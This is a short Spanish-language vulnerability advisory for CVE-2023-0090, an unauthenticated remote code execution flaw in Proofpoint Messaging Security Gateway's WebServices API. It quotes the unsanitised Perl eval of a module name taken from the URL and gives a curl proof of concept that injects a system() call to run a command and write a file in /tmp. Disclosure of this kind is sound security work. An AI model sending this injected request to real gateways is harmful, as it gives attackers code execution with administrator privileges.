
Proofpoint Email Gateway: RCE no autenticado
Investigador de seguridad: ly1g3, ly1g3[at]tuta.io
Huella GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Resumen: Ejecución Remota de Código - RCE sin autenticación
CVE: CVE-2023-0090
Cronología:
Exploits para Proofpoint Messaging Security Gateway
Con acceso a la API de WebServices se puede lograr RCE sin autenticación con privilegios de administrador.
Webservices.pm no sanitiza ni verifica la entrada del usuario. No se requiere autenticación para alcanzar la función, pero el acceso a la API debe estar habilitado en la configuración para poder hacer RCE. $module proviene directamente de los datos del usuario y es evaluado.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Creará un archivo llamado abc en /tmp/. Código ejecutado como usuario pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"